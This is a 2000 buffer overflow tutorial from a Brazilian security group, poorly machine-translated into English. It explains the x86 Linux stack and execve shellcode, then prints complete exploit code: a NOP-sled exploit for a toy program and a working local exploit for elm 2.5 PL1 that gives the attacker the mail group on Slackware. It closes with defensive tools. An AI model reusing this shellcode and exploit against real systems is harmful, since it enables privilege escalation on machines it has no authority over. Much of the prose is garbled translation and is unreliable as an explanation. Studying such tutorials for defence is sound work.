INSIDE TO BUFFERS OVERFLOWS

~~~~~~~ ~~~~~~ ~~~~~~~ ~~~~

10.02.2000

written by cync

MBC SECURITY LABS Agradece a grafspee, drk, SkyLaZarT, oldm,

Jans_, X-LyNx, Panic, VetesGirl, codak, irwx, gid and strncpy.

All rights reserved to: mbc security labs.

 

 

-[ introduction ]------------------------------------------------------

We dedicate to this text to all those that feel necessity to get one "

background " in buffers overflows, thus stimulating the fetching and I

continue it study, prioritizing the true knowledge. Numberous related

attacks the problems with buffer overflows has been reported and

varios programs still will count this type of bug, that and ' one of

gran DES factors related to the illegal access information. The

clarification of this type of attack if makes of great importance

all that work with seguran This document have as objective to explain

some avanced tecniques of Buffer Overflow in boxes Intel/x86 Linux.

To read and to use to advantage to maxium the content of this

necessary document are 3 basic factors:

 

 

[ # ] Knowledge of Assembler, C and Linux. [ # ] Possuir some base /

concept with relacao the Overflows Buffer.

 

One more time, as all txt's on buffer overflow, sends regards reading

to it of Phrack 49, article 14 (Smashing The Stack). One otimo work

carried through for AlephOne.

 

-[ Linux & ASM ]------------------------------------------------------------

A general mode you do not need to use assembler in if treating to

program for Linux. Different of the one Of voce^ nao eh obliged to

write drivers for Linux in assembler (What eh made in C).

 

" You need to use assembler or voce can want to use assembler. "

 

[ Some Diferencas ] * Syntax At&t: As the GAS(GNU ASSEMBLER) was

created to support compilers 32-bit UNIX, it uses the syntax AT&T

padrao. This worse, nor better of the one than the syntax Intel, it

and ' only different syntax nao and ', when voce ja will be using,

finds well more regular, to put a little boat.

 

* Some Diferencas of Syntax AT&T/INTEL:

 

1. Name of the registers veem folloied of prefix %: AT&T: %eax Intel:

eax

 

2. The order, Origem/Destino: In the syntax AT&T the origin this

always in the left and the destination in the right. former: we go to

load ebx with the value of eax:

 

AT&T: movl %eax, %ebx

Intel: mov ebx, eax

 

3. Format of values constantes/imediatos r0x Must come folloied of one

" $ ". Goes to load eax with endereco of variavel " C ", that eh

estatica.

 

AT&T: movl $_r0x, %eax Intel: mov eax, _ r0x

 

Loading ebx with 0xd00d: AT&T: movl $0xd00d, %ebx Intel: mov ebx,

d00dh

 

4. Size of the operator Each instrucao comes folloied of a suffix,

that can be: b, w or l. They specify the size of operating. Suffix b

and ' for (8-bit) byte, w and ' for (16-bit) word, and l and ' for

(32-bit) long the optional suffixes sao when the size can ' be guessed

' by the operandos

 

-[ Buffers Overflows ]-----------------------------------------------------

I begin it of the buffer overflow well simple eh. Eh resulted of when

if poe more given in a buffer of that it can support. Frequent had the

errors in programacao, we can take advantage for execucao of codigo

arbitrarios. To long the text voce anger to absorb all better these

concepts, eh important that voce gives atencao and in case of doubts

rereads and reflects. ps(duh: \): A buffer eh a simple tablet of

memoria that stores multiplas solicitacoes of one same type of data.

 

STACK: Main funcao of the CPU eh the processing and movimentacao of

data. While she processes these data it needs a place quickly to save

informacoes important due to the limited espaco of the registers ("

celulas of memoria "). This informacao eh saved in stack, one has left

very special of the memoria that can be had access with some

instrucoes in assembler. Stack eh variavel in tamanhoe posicao.

 

The first thing kept in stack sera finishes it to be chore, and it

finishes to be kept it sera the first one to be chore, this system eh

called LIFO, or " last in, first out " (I finish, first sair) inside,

we go to an example, we go to execute a program (in case, to obtain

root more late, hehe), as stack would seem when the process would call

its dinamicas variaveis?

 

.

: ... .

|-----------------------:

-2048 bytes | local array1[1024] | ...

|-----------------------|

-1024 bytes | local array2[1024] | size 1024 bytes

|-----------------------|

posicao atual do stack | base pointer | size 4 bytes

|-----------------------|

+4 bytes | return adress | size 4 bytes

|-----------------------|

+4 bytes : parametros ... | ...

. :

 

The different variables are, and information is kept in stack, all

cpu uses one ' stack to pointer ', to mark posicao current, eh called

SP. analizadas the parts to be serao the ' place array2 ' and ' return

adress ', so this eh necessario for terms root.

 

[ ABUSING RETURN ADDRESS... ] Remembering, when eh executed something,

safe CPU one ' return adress ' in staSe the process eh finished, cpu

polishes and finds ' return adress '. but, if more bytes in one

variavel local to the safe process of that its normal size, anger to

happen the ' overwrite ', anger to sobrescrever ' return adress ' old,

and thus sera nominated ' overflow '.

 

If (1024+8)1032 times character " x " will be written in array2 local,

proces- so anger to write ' return again adress '. e stack anger to

seem:

 

.

: ... . .

|-----------------------:

-2048 bytes | local array1[1024] | ...

|-----------------------|

-1024 bytes | 1024 times "X" | size 1024 bytes

|-----------------------|

posicao atual do stack | 4 times "X" | size 4 bytes

|-----------------------|

+4 bytes | 4 times "X" | size 4 bytes

|-----------------------|

+4 bytes : parametros ... | ...

. :

 

Thus, now in them we will be able to forcar the program to jump where

in quizermos them! very interesting anger sera we will be able to

create one codigo in the ' variable place '.

: ... .

|-----------------------:

-2048 bytes | local array1[1024] |

|-----------------------|

-1024 bytes | our code | < -

|-----------------------| |

|-----------------------| |

posicao atual do stack | 4 bytes de lixo | |

|-----------------------| |

+4 bytes | jmp pro codigo | ___|

|-----------------------|

+4 bytes : parametros ... |

. :

 

[ Executing shell in assembler or c ] If ours codigo executes one

shell normal, and in them we create the overflow program, we will be

able to have all the privilegios of root.nos we will need now, eh of

small codigo in assembler that anger to execute shell, nao eh

necessario exactly to execute shell, but, in this in case that, oque

interests eh root. he, voce can obtain shell in assembler, or compile

it in ' c ', with denominacao of ' execshell '.

 

[ SHELLCODE ] Agora ja we know that we can modify ' return address '

and the stream of execucao, what we want that the program executes? In

the majority of the cases in we want q to them code gets one shell.

From shell we can use our creativity... Summarizing, shellcode eh

basically one serie of commands in assembler that in them we write in

stack and entao we change ' return address ' to come back to stack.

Thus, we can insert ours inside instrucao of a process vulneravel and

entao executes it, accurately in stack. Our objective now eh to

generate one codigo in assembler, that executes one shell. Well, a

comumente used one system call, eh execve(), it loads and wheel which

wants binario, finishing execucao it current process.

cync[tty7/1][~]$man execve (Please page Reads with atencao man)

 

We now go to get the details of this syscall of glibc2

cync[tty7/1][~]$gdb /lib/libc.so.6

(gdb) disas execve

 

Dump of assembler code for function __execve:

0x8e950 <__execve>: pushl %ebx

0x8e951 <__execve+1>: movl 0x10(%esp,1),%edx

0x8e955 <__execve+5>: movl 0xc(%esp,1),%ecx

0x8e959 <__execve+9>: movl 0x8(%esp,1),%ebx

0x8e95d <__execve+13>: movl $0xb,%eax

0x8e962 <__execve+18>: int $0x80

0x8e964 <__execve+20>: popl %ebx

0x8e965 <__execve+21>: cmpl $0xfffff001,%eax

0x8e96a <__execve+26>: jae 0x8e96d <__execve+29>

0x8e96c <__execve+28>: ret

0x8e96d <__execve+29>: pushl %ebx

0x8e96e <__execve+30>: call 0x8e973 <__execve+35>

0x8e973 <__execve+35>: popl %ebx

0x8e974 <__execve+36>: xorl %edx,%edx

0x8e976 <__execve+38>: addl $0x5b861,%ebx

0x8e97c <__execve+44>: subl %eax,%edx

0x8e97e <__execve+46>: pushl %edx

0x8e97f <__execve+47>: call 0x175e0

0x8e984 <__execve+52>: popl %ecx

0x8e985 <__execve+53>: popl %ebx

0x8e986 <__execve+54>: movl %ecx,(%eax)

0x8e988 <__execve+56>: orl $0xffffffff,%eax

0x8e98b <__execve+59>: jmp 0x8e96c <__execve+28>

 

look this:

./shellcod /bin/sh

 

main() {

__asm__("

jmp 0x1f

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int $0x80

xorl %ebx,%ebx

movl %ebx,%eax

inc %eax

int $0x80

call -0x24

.string \"/bin/sh\"");

}

-----------------( hex code )--

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

"\xff\xff/bin/sh"

 

 

It perceived the play, we have one shellcode gotten from otimizacao of

codigo in assembler that only represents execucao of one / bin/sh.

Diverse types of shellcode exist, each one with its objective specify.

 

[ EXAMPLE 1 PRACTICE ]

 

vulneravel.c

 

#include<string.h>

#include<ctype.h>

int main(int argc,int **argv)

{

char buffer[1024];

int i;

if(argc>1)

{

for(i=0;i<strlen(argv[1]);i++)

argv[1][i]=toupper(argv[1][i]);

strcpy(buffer,argv[1]);

}

}

 

 

--------------------------------[exploit1.c]-------------------------------

#include<stdio.h>

#include<stdlib.h>

 

#define ALIGN 0

#define OFFSET 0

#define RET_POSITION 1024

#define RANGE 20

#define NOP 0x90

 

char shellcode[]=

"\xeb\x38" /* jmp 0x38 */

"\x5e" /* popl %esi */

"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */

"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */

"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */

"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */

"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */

"\x89\xf0" /* movl %esi,%eax */

"\x83\xc0\x08" /* addl $0x8,%eax */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

"\x31\xc0" /* xorl %eax,%eax */

"\x88\x46\x07" /* movb %eax,0x7(%esi) */

"\x89\x46\x0c" /* movl %eax,0xc(%esi) */

"\xb0\x0b" /* movb $0xb,%al */

"\x89\xf3" /* movl %esi,%ebx */

"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

"\xcd\x80" /* int $0x80 */

"\x31\xdb" /* xorl %ebx,%ebx */

"\x89\xd8" /* movl %ebx,%eax */

"\x40" /* inc %eax */

"\xcd\x80" /* int $0x80 */

"\xe8\xc3\xff\xff\xff" /* call -0x3d */

"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */

/* /bin/sh is disguised */

 

unsigned long get_sp(void)

{

__asm__("movl %esp,%eax");

}

main(int argc,char **argv)

{

char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;

long addr;

unsigned long sp;

int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

int i;

 

if(argc>1)

offset=atoi(argv[1]);

 

sp=get_sp();

addr=sp-offset;

 

for(i=0;i<bsize;i+=4)

{

buff[i+ALIGN]=(addr&0x000000ff);

buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;

buff[i+ALIGN+3]=(addr&0xff000000)>>24;

}

 

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

 

buff[i]=NOP;

 

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i<strlen(shellcode);i++)

*(ptr++)=shellcode[i];

 

buff[bsize-1]='\0';

 

printf("Jump to 0x%08x\n",addr);

 

execl("./vulnerable1","vulnerable1",buff,0);

}

}

/* Creditos: Taeho. */

 

------------------------------------------------------------------------------

 

[ Our local proprio exploit - by MBC LABS ] / * Understanding the

EXPLOIT! (Voce knows C the sufficient, nao knows)

 

Shellcode: Shellcode padrao, used to execute / bin/sh. Nothing more of

$ As to obtain endereco of rollback?

 

Well, one of the alternatives, in the simplest case would be atraves

of gdb, for the archive of Core generated had to the celebrity "

segmentation Fault ".

-> bash# gdb /usr/bin/elm core

-> gdb> info to register

-> ps: of one looked at in endereco of %esp;)

 

Gerando o core...

elm -f `perl -e 'printf "x" x 300'` <- (sobrescrevendo return address)

 

 

--[ cut here

]--------------------------------------------------------------

 

/* elm 2.5 PL1 local exploit, (c) 1999 aux-tech [www.aux-tech.org]

* code by drk, drk@aux-tech.org

*

* gives you egid 'mail'

*

* works on slackware 3.5, 3.6, 3.9, 4.0, 7.0

* greets: aghi, visi0n, cryonic, strfry, sgi, x5, and all ppl from aux

* MBC Security LABS: cync, drk, SkyLaZarT, oldm

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

#define ELMPATH "/usr/local/bin/elm" // CHANGE @!#

 

/* shellcode ... ou seja .. e' basicamente um conjunto de codigos

* hexa-decimais

* especificos de uma plataforma no qual consiste na execucao de uma

"shell".

*/

 

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

/* funcao no qual so' se aplica a exploits locais .. seu objetivo e'

"achar"

* o endereco do topo da stack para que este mesmo endereco possa ser

* reescrito com codigos arbitrarios.

*/

 

long get_esp(void) {

__asm__("movl %esp,%eax\n");

}

 

/* funcao principal */

 

void main( int argc, char **argv ) {

char *buff, *ptr;

int offset=0, bsize=300, i;

unsigned long sp,addr;

 

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

 

buff = malloc(bsize);

 

if(!buff) {

perror("malloc()");

exit(0);

}

 

/* chama a funcao get_esp() para que ela retorne o endereco do topo da

stack

*/

addr = (sp = get_esp()) - offset;

 

/* creditos :) */

printf("elm 2.5 PL1 exploit (linux) by drk, drk@aux-tech.org\n");

printf("addr: [0x%x], bsize: [%i], offset: [%i]\n", addr,bsize,offset);

 

/* byte shifting */

for (i = 0; i < bsize; i+=4) {

buff[i ] = (addr & 0x000000ff);

buff[i+1] = (addr & 0x0000ff00)>>8;

buff[i+2] = (addr & 0x00ff0000)>>16;

buff[i+3] = (addr & 0xff000000)>>24;

}

 

/* matematica pura :) */

 

for (i = 0; i < (bsize/2); i++) buff[i] = 0x90;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

 

buff[bsize - 1] = '\0';

 

/* execute :) */

execl(ELMPATH, "elm","-f", buff, NULL);

}

 

---[ SKIRTING THE PROBLEM ]------------------------------------------

We know entao that attacks of the type Buffer Overflow explore the

ausencia of " bound checkings " in the size of input to be storaged in

the buffer, being thus part of the problem meets in the writing of

codigo for the programmer, ja that in the language C, funcoes such as

gets and strcpy nao makes " bounds checkings ", being this padrao

defined in ANSI C. Funcao strcpy nao verifies the size of the data

sent p / it by means of any arguments, therefore it exists the

possibility of if sobrescrevera endereco of arbitrario rollback and

execucao of codigo.

 

[ Tools ]

[ ~ ] StackGuard: Becoming the safe STACK. StackGuard and ' one

extensao of compiler who optimizes codigo executavel, being capable to

detect attacks against the area of stack StackGuard prevents mudancas

in endereco of rollback and ' the sobrescritano ties exactly '

endereco of rollback, atraves of implementacao of patch in the GCC.

 

[ ~ ] the Solar Designer, author of the celebrity John The Ripper,

liberates patches for kernel, that [ tambem acts of form to previnir

attacks of buffer_overflows in areade stack. www.openwall.com.br ]

 

[ ~ ] One another tool that acts of different form, and ' that it must

be pointed as an alternative and ' Virtual eXecuting Environment

(VXE). We know that when one programs wheel with suid, it can have

access all fontesso system, vXe creates virtual environments for each

program and its subprocessosrestringindo the certain use of syscalls

of kernel that they come to compromise segu ranca, being possivel to

manipulate nivel of restricoes desired by admnistra pain of the

system. Greaters informacoes: http://www.intes.odessa.ua/vxe

 

/*-----------------------------------------------*/

[Conclusion]

Well personal, I wait to have last the subject of a form that all

those that " breathe " c could understand in a good one, to put

reflexao on what it was commented above if makes necessario to

concentrate the conteudo. Those that to want to go deep nao more leave

to read txt of the Aleph1, and ' really an excellent work. This small

txt, only approaches in general mode questao, voce must be gone deep

for really " catching the skill of the thing ".

 

--[ Duvidas ou Sugestoes ]--------------------------------------

e-mail stops:

fsaraiva@mbc-corp.com.br

 

[ Bibliography ]:

 

exploits.txt [ Mixter ] Smashing The Stack Will be Fun And Profit [

Aleph1 ] to adv.overflow.paper - Written by Taeho Oh.

 

---------------------------------------------------------------[MBC]---------